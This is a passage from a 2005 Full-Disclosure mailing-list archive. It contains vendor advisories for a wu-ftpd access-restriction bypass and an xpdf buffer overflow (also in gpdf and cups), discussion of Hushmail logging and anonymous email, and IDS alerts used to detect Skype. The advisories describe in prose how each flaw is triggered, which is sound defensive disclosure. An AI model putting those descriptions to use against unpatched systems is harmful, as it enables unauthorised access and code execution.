iD8DBQFB9sbMaqoBO7ipriERAkLsAJkBk2Rj7JyuHwkb5PRgpb9bw9HzcgCgjyR/
DEBpdf0diDpDWD/Z1DpwXXY=
=e+Kw
-----END PGP SIGNATURE-----


From please_reply_to_security at sco.com  Tue Jan 25 23:30:15 2005
From: please_reply_to_security at sco.com (please_reply_to_security at sco.com)
Date: Tue, 25 Jan 2005 15:30:15 -0800
Subject: [Full-Disclosure] OpenServer 5.0.6 OpenServer 5.0.7 : wu-ftp local
	users can bypass access restrictions
Message-ID: <20050125153015.A1753@caldera.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



______________________________________________________________________________

			SCO Security Advisory

Subject:		OpenServer 5.0.6 OpenServer 5.0.7 : wu-ftp local users can bypass access restrictions
Advisory number: 	SCOSA-2005.6
Issue date: 		2005 January 25
Cross reference:	sr889579 fz528958 erg712568 CAN-2004-0148
______________________________________________________________________________


1. Problem Description

	wu-ftpd 2.6.2 and earlier, with the restricted-gid option
	enabled, allows local users to bypass access restrictions
	by changing the permissions to prevent access to their home
	directory, which causes wu-ftpd to use the root directory
	instead. 

	The Common Vulnerabilities and Exposures project (cve.mitre.org) 
	has assigned the name CAN-2004-0148 to this issue.


2. Vulnerable Supported Versions

	System				Binaries
	----------------------------------------------------------------------
	OpenServer 5.0.5 		Not vulnerable
	OpenServer 5.0.6 		/etc/ftpd
	OpenServer 5.0.7 		/etc/ftpd

3. Solution

	The proper solution is to install the latest packages.

4. OpenServer 5.0.6

	4.1 First install oss646b or later

        4.2 Location of oss646c

        ftp://ftp.sco.com/pub/openserver5/oss646c/

        4.3 Verification of oss646c

        MD5 (VOL.000.000) = f19b6c6949f615316bfb075d249989e8
        MD5 (VOL.000.001) = 341ff8553aecd2c7b0c2beaf83030d0f
        MD5 (VOL.000.002) = 6e46708ad8029e12280d4f9ac60ab814
        MD5 (VOL.000.003) = 2868b64a6a6db742adb3b485be645d7e
        MD5 (VOL.000.004) = 1696fe1db9bb063827ee5e76e58dff84
        MD5 (VOL.000.005) = f39da342f8af72fcaccdf478dca04109
        MD5 (VOL.000.006) = 2b31611c8af7d2e7910d6e8e3cf701a6
        MD5 (VOL.000.007) = d0175c0f4e3ed29435b1eab95609f8f4
        MD5 (VOL.000.008) = aa9e8a525c341fed077f981b1dacb486
        MD5 (VOL.000.009) = 8e023af67b57507824406bdda322079a
        MD5 (VOL.000.010) = 2b46e8adba8ae0b64109f2069da978a2

	4.4 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.6

	4.5 Verification

	MD5 (VOL.000.000) = 713bab43a71937e8d9ab015de1335a26

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools


	4.6 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	1) Download the VOL* files to a directory

	2) Run the custom command, specify an install from media
	images, and specify the directory as the location of the
	images.


5. OpenServer 5.0.7

	5.1 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.6

	The fixes are also available in SCO OpenServer Release 5.0.7
        Maintenance Pack 3 or later.  See
        http://www.sco.com/support/update/download/osr507list.html.

	5.2 Verification

	MD5 (VOL.000.000) = 713bab43a71937e8d9ab015de1335a26

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools


	5.3 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	1) Download the VOL* files to a directory

	2) Run the custom command, specify an install from media
	images, and specify the directory as the location of the
	images.


6. References

	Specific references for this advisory:
		http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0148

	SCO security resources:
		http://www.sco.com/support/security/index.html

	SCO security advisories via email
		http://www.sco.com/support/forums/security.html

	This security fix closes SCO incidents sr889579 fz528958
	erg712568.


7. Disclaimer

	SCO is not responsible for the misuse of any of the information
	we provide on this website and/or through our security
	advisories. Our advisories are a service to our customers
	intended to promote secure installation and use of SCO
	products.


8. Acknowledgments

	SCO would like to thank Glenn Stewart

______________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (SCO/UNIX_SVR5)

iD8DBQFB9scCaqoBO7ipriERApr6AJ4neuOABh8P56sZqup/nczeJU1CmACfbweU
9lBWAfSZmBP9vDgoIi4Egmk=
=GUl/
-----END PGP SIGNATURE-----


From hackerwacker at cybermesa.com  Tue Jan 25 22:34:10 2005
From: hackerwacker at cybermesa.com (james edwards)
Date: Tue, 25 Jan 2005 15:34:10 -0700
Subject: [Full-Disclosure] hushmail.com, is this true? 
References: <20050125204356.77574.qmail@web61205.mail.yahoo.com>
	<023101c50327$f9a8bc00$0200020a@jamesnew>
	<200501252213.j0PMDA9Y009426@turing-police.cc.vt.edu>
Message-ID: <026001c5032d$fd4c39d0$0200020a@jamesnew>

Your point ? 


From chows at ozemail.com.au  Tue Jan 25 22:40:20 2005
From: chows at ozemail.com.au (Gregh)
Date: Wed, 26 Jan 2005 09:40:20 +1100
Subject: [Full-Disclosure] hushmail.com, is this true? 
References: <20050125204356.77574.qmail@web61205.mail.yahoo.com><023101c50327$f9a8bc00$0200020a@jamesnew>
	<200501252213.j0PMDA9Y009426@turing-police.cc.vt.edu>
Message-ID: <001101c5032e$d9c284f0$6500a8c0@p43400>


----- Original Message ----- 
From: <Valdis.Kletnieks at vt.edu>
To: "james edwards" <hackerwacker at cybermesa.com>
Cc: <full-disclosure at lists.netsys.com>
Sent: Wednesday, January 26, 2005 9:13 AM
Subject: Re: [Full-Disclosure] hushmail.com, is this true? 

> > On Tue, 25 Jan 2005 14:51:07 MST, james edwards said:

> > No business can ignore a judges orders to produce whatever required
> > information.
> > The business can contest the request but if it is proven out the information
> > must be produced.

> So tell me - what do you do when you get served a subpoena requesting all
> your records regarding the development of a specified drug by Pfeizer?

> Oh. You never *had* those records, because you don't keep them?  I see.... ;)

> They can't force you to produce information you can prove you don't have... 


Sorry for requoting in it's entirety but I couldn't find a way to snip that missed vital info if someone starts reading at this point.

My question to you, Valdis, is how the heck can you prove something DOESN'T exist such as a record? You would have to prove that whatever it is, I.T. related or even drug company drugs related, that you didn't keep records for all similar things and then that would not be believed anyway.

You could, however, produce faked records supporting anything you want these days. Give a reasonable (not great) web site builder an official looking domain name and 5 minutes and that person can be making the most outlandish statements from a web site that shows itself looking respectable.

The only true way an investigator has of proving a point is their own ability to judge a situation, the people and their knowledge of the field they investigate. "Trust me". :)

Greg.




From iago at valhallalegends.com  Tue Jan 25 22:53:27 2005
From: iago at valhallalegends.com (Ron)
Date: Tue, 25 Jan 2005 16:53:27 -0600
Subject: [Full-Disclosure] hushmail.com, is this true?
In-Reply-To: <023101c50327$f9a8bc00$0200020a@jamesnew>
References: <20050125204356.77574.qmail@web61205.mail.yahoo.com>
	<023101c50327$f9a8bc00$0200020a@jamesnew>
Message-ID: <41F6CDE7.5000605@valhallalegends.com>

They can't produce information that doesn't exist, which begs the 
questions: do they log your ip address?

>No business can ignore a judges orders to produce whatever required
>information.
>The business can contest the request but if it is proven out the information
>must be produced.
>
>  
>


From temp739 at yahoo.com  Tue Jan 25 22:58:50 2005
From: temp739 at yahoo.com (Pseudo Nym)
Date: Tue, 25 Jan 2005 14:58:50 -0800 (PST)
Subject: [Full-Disclosure] hushmail.com, is this true? 
In-Reply-To: <200501252213.j0PMDA9Y009426@turing-police.cc.vt.edu>
Message-ID: <20050125225850.78246.qmail@web61202.mail.yahoo.com>

This is from an earlier e-mail I drafted but did not
send:
"ah hah, I made another mistake.  I meant Etaoin
instead of Atte in my last e-mail.  Thank you Etaoin,
I'm VERY glad to here that you know people who do or
who have worked there.  That's very comforting.

Anyone else got anything?"

and again, Valdis is correct.  Hushmail isn't claiming
they won't hand over their logs, they're claiming they
aren't *making* them, rendering their logs useless if
seized through a court order.  That is a fairly
substantial claim for a free e-mail service which is
why I'm investigating it.


--- Valdis.Kletnieks at vt.edu wrote:

> On Tue, 25 Jan 2005 14:51:07 MST, james edwards
> said:
> 
> > No business can ignore a judges orders to produce
> whatever required
> > information.
> > The business can contest the request but if it is
> proven out the information
> > must be produced.
> 
> So tell me - what do you do when you get served a
> subpoena requesting all
> your records regarding the development of a
> specified drug by Pfeizer?
> 
> Oh. You never *had* those records, because you don't
> keep them?  I see.... ;)
> 
> They can't force you to produce information you can
> prove you don't have...


		
__________________________________ 
Do you Yahoo!? 
Read only the mail you want - Yahoo! Mail SpamGuard. 
http://promotions.yahoo.com/new_mail 


From hackerwacker at cybermesa.com  Tue Jan 25 22:58:56 2005
From: hackerwacker at cybermesa.com (james edwards)
Date: Tue, 25 Jan 2005 15:58:56 -0700
Subject: [Full-Disclosure] hushmail.com, is this true?
References: <20050125204356.77574.qmail@web61205.mail.yahoo.com>
	<023101c50327$f9a8bc00$0200020a@jamesnew>
	<41F6CDE7.5000605@valhallalegends.com>
Message-ID: <029301c50331$72e9e860$0200020a@jamesnew>



> They can't produce information that doesn't exist, which begs the 
> questions: do they log your ip address?


It is a pointless question.


From sil at infiltrated.net  Tue Jan 25 23:20:43 2005
From: sil at infiltrated.net (J. Oquendo)
Date: Tue, 25 Jan 2005 18:20:43 -0500 (EST)
Subject: [Full-Disclosure] RE: hushmail.com, is this true?
Message-ID: <Pine.GSO.4.58.0501251735300.4019@kungfunix.net>



On Tue, 25 Jan 2005, james edwards wrote:

> No business can ignore a judges orders to produce whatever required
> information. The business can contest the request but if it is proven
> out the information must be produced.

You're assuming here. A US Judge has no juridstiction over a company in
another country and vice versa, so even if some US Judge attempted to
subpoena Hush Communications, Hush can pretty much turn around and tell
that judge to piss off. On the other hand though, with the United States'
Gestapo'ish system of "law", countries do tend to comply with each other
on certain occasions. You know... "Osama is using your email services, we
need to see logfiles" (remember kids terrorism is the root of all evil).
Whether or not Hush decides to cooperate is a matter of legal finagling
between them and authorities.

As for the retention of log records, I have not bothered to peruse their
site so unless someone can find where they explicitly state they do not
retain log records, then you could be sure they do keep records. Whether
they give those records to LEA's is something only they could answer,
whether they are being truthful about it or not, is yet another story.

> Any system that relies on just one free service to ensure privacy is
> useless.

To a degree. There isn't any message I can think of in this world that
would require such "uber" protection. If it were "that" important I know I
would disclose it only via word of mouth as opposed to using any form of
digital communication. Again, if it were that important. If I needed to be
a pain I would do something anal like PGP the message twice, send it
through SpamMimic (http://www.spammimic.com/), embed it in a picture with
some steg program, re-PGP it then send using multiple proxies.

Of course now I would not waste my time with such nonsense, but I do
agree on the "one security model does not fit all" bandwagonese(bushism).




=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
J. Oquendo
GPG Key ID 0x51F9D78D
Fingerprint 2A48 BA18 1851 4C99

CA22 0619 DB63 F2F7 51F9 D78D
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D

sil @ politrix . org    http://www.politrix.org
sil @ infiltrated . net http://www.infiltrated.net

"How a man plays the game shows something of his
character - how he loses shows all" - Mr. Luckey


From sil at infiltrated.net  Tue Jan 25 23:32:29 2005
From: sil at infiltrated.net (J. Oquendo)
Date: Tue, 25 Jan 2005 18:32:29 -0500 (EST)
Subject: [Full-Disclosure] Re: hushmail.com, is this true?
Message-ID: <Pine.GSO.4.58.0501251825001.4201@kungfunix.net>


> They can't force you to produce information you can prove you don't have...

Actually, I believe the Sarbanes Oxley Act requires companies keep records
for a period of time. Not sure the entire specifics of this but I'm sure
if you wanted to quote me on this you could (http://tinyurl.com/542n3)

Outside of this argument (records), I'm willing to be for security
purposes though, Hushmail is keeping tabs on who is doing what. That would
be logical provided that they are security based and I would hope would
keep tabs on connections should someone infiltrate their network.

"Gee we were pwned but we don't know by whom because we don't keep records
or tabs on ANYONE!"

Sound kosher? I doubt they're not keeping tabs on someone. Aside from
this, just because they are keeping tabs on someone's account information
(regarding the IP connections they are coming from), it becomes a
different story when an account is being accessed by proxies all over the
world. Hell with all the botnet machines around, a lawyer defending
someone on trial could throw this into the mix due to the fact that it
would be difficult to pinpoint so and so due to the fact that so many
connections have been made from differing locations.

Of course the lawyer would have to have enough of a clue to do so, but
even then with so much crapaganda from the US government, hell any
government for that matter, and due to the fact governments have deeper
pockets than anyone, a defendant would get pounded with other crappy
technicalities.


=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
J. Oquendo
GPG Key ID 0x51F9D78D
Fingerprint 2A48 BA18 1851 4C99

CA22 0619 DB63 F2F7 51F9 D78D
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D

sil @ politrix . org    http://www.politrix.org
sil @ infiltrated . net http://www.infiltrated.net

"How a man plays the game shows something of his
character - how he loses shows all" - Mr. Luckey


From sil at infiltrated.net  Tue Jan 25 23:56:48 2005
From: sil at infiltrated.net (J. Oquendo)
Date: Tue, 25 Jan 2005 18:56:48 -0500 (EST)
Subject: [Full-Disclosure] Hushmail logging (nail in the coffin)
Message-ID: <Pine.GSO.4.58.0501251855170.4366@kungfunix.net>


Does Hush track IP addresses of visitors or address holders?

Hushmail.com does log IP addresses to analyze market trends and gather
broad demographic information for aggregate use. However, Hushmail.com
will never log your IP address in such a way that it can be associated
with your Hushmail email address or identity. The procedure does NOT
affect the anonymity of the user at any stage

http://www.hushmail.com/help-faqs2#logipaddressesofpeopleloggingin



=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
J. Oquendo
GPG Key ID 0x51F9D78D
Fingerprint 2A48 BA18 1851 4C99

CA22 0619 DB63 F2F7 51F9 D78D
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D

sil @ politrix . org    http://www.politrix.org
sil @ infiltrated . net http://www.infiltrated.net


=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
J. Oquendo
GPG Key ID 0x51F9D78D
Fingerprint 2A48 BA18 1851 4C99

CA22 0619 DB63 F2F7 51F9 D78D
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D

sil @ politrix . org    http://www.politrix.org
sil @ infiltrated . net http://www.infiltrated.net

"How a man plays the game shows something of his
character - how he loses shows all" - Mr. Luckey


From alain at ait.ac.th  Wed Jan 26 02:54:05 2005
From: alain at ait.ac.th (Alain Fauconnet)
Date: Wed, 26 Jan 2005 09:54:05 +0700
Subject: [Full-Disclosure] blocking SkyPE?
In-Reply-To: <20050125180602.ACF0025C00B@mail.nettracers.com>
References: <20050125120429.GE23798@ait.ac.th>
	<20050125180602.ACF0025C00B@mail.nettracers.com>
Message-ID: <20050126025405.GD9139@ait.ac.th>

Bryan,

On Tue, Jan 25, 2005 at 10:05:42AM -0800, lists-security at nettracers.com wrote:
>  
> >I think that this may trigger on the regular HTTP request that SkyPE does
> at
> >start up (and only then). This checks the SkyPE web site for updates. This
> is 
> >also what the available Snort signature trigger on, simply because it's the
> only >kind of traffic that has a recognizable signature.
> >How many hits do you have for a given client IP on this rule? If it's
> really 
> >triggering on VoIP traffic, you should get many per second.
> 
> I am getting 3-10 hits per second for any active system running this,
> example:
> 
> 91 	detected 	09:06:35 	p2p: skype,[Reference:
> http://www.fortinet.com/ids/ID109051909] 	80 	4048 	6
> 92 	detected 	09:06:29 	p2p: skype,[Reference:
> http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6
> 93 	detected 	09:06:13 	p2p: skype,[Reference:
> http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6
> 94 	detected 	09:06:06 	p2p: skype,[Reference:
> http://www.fortinet.com/ids/ID109051909] 	80 	4048 	6
> 95 	detected 	09:04:11 	p2p: skype,aggregated 3
> times,[Reference: http://www.fortinet.com/ids/ID109051909] 	80 	4048
> 6
> 96 	detected 	09:04:05 	p2p: skype,[Reference:
> http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6
> 97 	detected 	09:03:36 	p2p: skype,[Reference:
> http://www.fortinet.com/ids/ID109051909] 	80 	4048 	6
> 98 	detected 	09:03:29 	p2p: skype,[Reference:
> http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6
> 99 	detected 	09:02:08 	p2p: skype,[Reference:
> http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6

Uh, OK, if all this is for the same client, then I stand corrected and
your VoIP traffic is going over port 80 obviously.
The Fortinet folks therefore appear to have found reliable signatures to catch
SkyPE's VoIP traffic. Congratulations to them!
I'll ask a quotation, but I doubt that I can get the budget for this
stuff :-(

> The plan is to shape the entire users system to throttle to a lower priority
> or a  and/or limited bandwidth or full block when any p2p policy abuse is
> detected.

Let me rephrase this: once you detect any kind of P2P traffic from a
given client, you'd throttle down all kind of traffic from/to that IP,
do I understand correctly?

>  Since you can't tell which traffic is which, just relegate that
> user to 9600 bps (BOFH solution).

Kind of, yes :-) But well, sometimes they're the right ones!

>  The skype encryption and traffic should
> be able to be mathematically characterized and classified without having to
> decrypt...a fun project to work on perhaps...

Certainly. Been trying myself, not much progress so far.
I'm sure that guys smarter than me have worked on this.

Greets,
_Alain_


From measl at mfn.org  Wed Jan 26 03:34:09 2005
From: measl at mfn.org (J.A. Terranson)
Date: Tue, 25 Jan 2005 21:34:09 -0600 (CST)
Subject: [Full-Disclosure] Email Privacy (was hushmail.com, is this true?) 
In-Reply-To: <023101c50327$f9a8bc00$0200020a@jamesnew>
References: <20050125204356.77574.qmail@web61205.mail.yahoo.com>
	<023101c50327$f9a8bc00$0200020a@jamesnew>
Message-ID: <20050125213300.N61476@ubzr.zsa.bet>


If you are really serious about one-way, non-traceable email, google for
"mixmaster".

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From shrdlu at deaddrop.org  Wed Jan 26 04:47:11 2005
From: shrdlu at deaddrop.org (Etaoin Shrdlu)
Date: Tue, 25 Jan 2005 20:47:11 -0800
Subject: [Full-Disclosure] Email Privacy (was hushmail.com, is this true?)
In-Reply-To: <20050125213300.N61476@ubzr.zsa.bet>
References: <20050125204356.77574.qmail@web61205.mail.yahoo.com>	<023101c50327$f9a8bc00$0200020a@jamesnew>
	<20050125213300.N61476@ubzr.zsa.bet>
Message-ID: <41F720CF.8030602@deaddrop.org>

J.A. Terranson wrote:

>If you are really serious about one-way, non-traceable email, google for
>"mixmaster".
>

Last I looked, I would have recommended that you start here.

http://freedom.gmsociety.org/  (George Mason Society Freedom Project)

On the other hand, I suspect that hushmail does not keep the type of 
logs you are thinking of. As I recall, most anonymizing places keep less 
than 24 hours worth of logs, if that (just enough to debug with). Nature 
of the beast, and all that.

-- 
"Remember you told me to tell you when you were acting rudely and
insensitively? Remember that? You're doing it right now."
                 from Wargames



From security at linux-mandrake.com  Wed Jan 26 04:38:49 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Tue, 25 Jan 2005 21:38:49 -0700
Subject: [Full-Disclosure] MDKSA-2005:016 - Updated gpdf packages fix buffer
	overflow vulnerability
Message-ID: <E1Ctex7-0006p4-24@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           gpdf
 Advisory ID:            MDKSA-2005:016
 Date:                   January 25th, 2005

 Affected versions:	 10.0, 10.1, Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 A buffer overflow vulnerability was discovered in the xpdf PDF          
 code, which could allow for arbitrary code execution as the user 
 viewing a PDF file. The vulnerability exists due to insufficient bounds
 checking while processing a PDF file that provides malicious values in          
 the /Encrypt /Length tag. Gpdf uses xpdf code and is susceptible to the
 same vulnerability.
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 fa03ef1a1d5a1784298d890e8cf09bd2  10.0/RPMS/gpdf-0.112-2.5.100mdk.i586.rpm
 dc1ff1ca81d1148e7524b3a53fe68197  10.0/SRPMS/gpdf-0.112-2.5.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 76dcd6cc6c50b284371ae17eef7112e1  amd64/10.0/RPMS/gpdf-0.112-2.5.100mdk.amd64.rpm
 dc1ff1ca81d1148e7524b3a53fe68197  amd64/10.0/SRPMS/gpdf-0.112-2.5.100mdk.src.rpm

 Mandrakelinux 10.1:
 56154e1310488f9ba89004a979ee3393  10.1/RPMS/gpdf-0.132-3.4.101mdk.i586.rpm
 391b99e6a4f37385493acde18209f85c  10.1/SRPMS/gpdf-0.132-3.4.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 e1ddd99a172f76393693e25f1a302a17  x86_64/10.1/RPMS/gpdf-0.132-3.4.101mdk.x86_64.rpm
 391b99e6a4f37385493acde18209f85c  x86_64/10.1/SRPMS/gpdf-0.132-3.4.101mdk.src.rpm

 Corporate Server 3.0:
 14b33a6547cf218481ba22a1ebd21b16  corporate/3.0/RPMS/gpdf-0.112-2.5.C30mdk.i586.rpm
 9fc41a46a4398ece01b369547aac6125  corporate/3.0/SRPMS/gpdf-0.112-2.5.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9x7YmqjQ0CJFipgRAj/FAKDoY5+yEECJleVOuKCbYBu4nQGY7ACfZvPh
ooFA6uKXZH4Ge50FCiFepfQ=
=WJ8c
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Wed Jan 26 04:41:51 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Tue, 25 Jan 2005 21:41:51 -0700
Subject: [Full-Disclosure] MDKSA-2005:017 - Updated xpdf packages fix buffer
	overflow vulnerability
Message-ID: <E1Ctf03-00078c-N7@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           xpdf
 Advisory ID:            MDKSA-2005:017
 Date:                   January 25th, 2005

 Affected versions:	 10.0, 10.1, Corporate Server 2.1,
			 Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 A buffer overflow vulnerability was discovered in the xpdf PDF          
 viewer, which could allow for arbitrary code execution as the user 
 viewing a PDF file. The vulnerability exists due to insufficient bounds
 checking while processing a PDF file that provides malicious values in
 the /Encrypt /Length tag.
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 8fe688c70f2d61ff8750e21f75eebeb3  10.0/RPMS/xpdf-3.00-5.4.100mdk.i586.rpm
 1990c8a678ea40233f5dc12c3a503fa2  10.0/SRPMS/xpdf-3.00-5.4.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 661d716961ace2071ec87bedb51811da  amd64/10.0/RPMS/xpdf-3.00-5.4.100mdk.amd64.rpm
 1990c8a678ea40233f5dc12c3a503fa2  amd64/10.0/SRPMS/xpdf-3.00-5.4.100mdk.src.rpm

 Mandrakelinux 10.1:
 5eb526adbcae9193ce09fa06724215c3  10.1/RPMS/xpdf-3.00-7.3.101mdk.i586.rpm
 5eb526adbcae9193ce09fa06724215c3  10.1/SRPMS/xpdf-3.00-7.3.101mdk.i586.rpm

 Mandrakelinux 10.1/X86_64:
 62c8956238470dde55e328c2d397e276  x86_64/10.1/RPMS/xpdf-3.00-7.3.101mdk.x86_64.rpm
 5eb526adbcae9193ce09fa06724215c3  x86_64/10.1/SRPMS/xpdf-3.00-7.3.101mdk.i586.rpm

 Corporate Server 2.1:
 e890707f2e00fd17a06ff2fb6545b5dd  corporate/2.1/RPMS/xpdf-1.01-4.8.C21mdk.i586.rpm
 b3a3a37961c14abe80eda3d170ab3550  corporate/2.1/SRPMS/xpdf-1.01-4.8.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 2d48f20adea08eb27f25469cf66d4be8  x86_64/corporate/2.1/RPMS/xpdf-1.01-4.8.C21mdk.x86_64.rpm
 b3a3a37961c14abe80eda3d170ab3550  x86_64/corporate/2.1/SRPMS/xpdf-1.01-4.8.C21mdk.src.rpm

 Corporate Server 3.0:
 681b0e2029b8d4e468e4e94d9f76d0f7  corporate/3.0/RPMS/xpdf-3.00-5.4.C30mdk.i586.rpm
 ab09023403f50e92c11ea277e9819f8a  corporate/3.0/SRPMS/xpdf-3.00-5.4.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9x+PmqjQ0CJFipgRAlskAKCCsgFtV+o1KtsOeLf0YLtDxdjhxACgwrdP
RGEHccMqOAVDKyoU4irPYoE=
=8AyJ
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Wed Jan 26 04:44:55 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Tue, 25 Jan 2005 21:44:55 -0700
Subject: [Full-Disclosure] MDKSA-2005:018 - Updated cups packages fix buffer
	overflow vulnerability
Message-ID: <E1Ctf31-0007SN-E6@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           cups
 Advisory ID:            MDKSA-2005:018
 Date:                   January 25th, 2005

 Affected versions:	 10.0, 10.1, 9.2, Corporate Server 2.1,
			 Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 A buffer overflow vulnerability was discovered in the xpdf PDF          
 code, which could allow for arbitrary code execution as the user 
 viewing a PDF file. The vulnerability exists due to insufficient bounds
 checking while processing a PDF file that provides malicious values in
 the /Encrypt /Length tag. Cups uses xpdf code and is susceptible to the
 same vulnerability.
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 379232c587543df84bed0b06a1b4a544  10.0/RPMS/cups-1.1.20-5.6.100mdk.i586.rpm
 9c603dd7eb08e5a5f80f2a3aff85c9a5  10.0/RPMS/cups-common-1.1.20-5.6.100mdk.i586.rpm
 f998f6e5f406cc6ae2c740886dd1863d  10.0/RPMS/cups-serial-1.1.20-5.6.100mdk.i586.rpm
 6d1d399ec3f3d416569ba9cda9e2382b  10.0/RPMS/libcups2-1.1.20-5.6.100mdk.i586.rpm
 c3c84379002347e69b41b8796f2145f2  10.0/RPMS/libcups2-devel-1.1.20-5.6.100mdk.i586.rpm
 7f6775df4063e8def8ea89e1463f7880  10.0/SRPMS/cups-1.1.20-5.6.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 440f9f99bc8c14e1155247f0ffb4e371  amd64/10.0/RPMS/cups-1.1.20-5.6.100mdk.amd64.rpm
 9600924bc1877079fe9a1a2c1efe1b8d  amd64/10.0/RPMS/cups-common-1.1.20-5.6.100mdk.amd64.rpm
 08da5c993bfa65d0ecffb33f97323fb6  amd64/10.0/RPMS/cups-serial-1.1.20-5.6.100mdk.amd64.rpm
 d128d93e19aad698576ba74357c61249  amd64/10.0/RPMS/lib64cups2-1.1.20-5.6.100mdk.amd64.rpm
 537aacfb916e98b56a01ea690a7f38b7  amd64/10.0/RPMS/lib64cups2-devel-1.1.20-5.6.100mdk.amd64.rpm
 7f6775df4063e8def8ea89e1463f7880  amd64/10.0/SRPMS/cups-1.1.20-5.6.100mdk.src.rpm

 Mandrakelinux 10.1:
 c571a912d5ab00c3ab06bca8c36cdf5a  10.1/RPMS/cups-1.1.21-0.rc1.7.4.101mdk.i586.rpm
 6a9d5fa3966f0f443328457eb960477e  10.1/RPMS/cups-common-1.1.21-0.rc1.7.4.101mdk.i586.rpm
 3ceefe3537ad2c211e45d580f2e90795  10.1/RPMS/cups-serial-1.1.21-0.rc1.7.4.101mdk.i586.rpm
 51662e88bd9fdadfc18bfa88d3ca4511  10.1/RPMS/libcups2-1.1.21-0.rc1.7.4.101mdk.i586.rpm
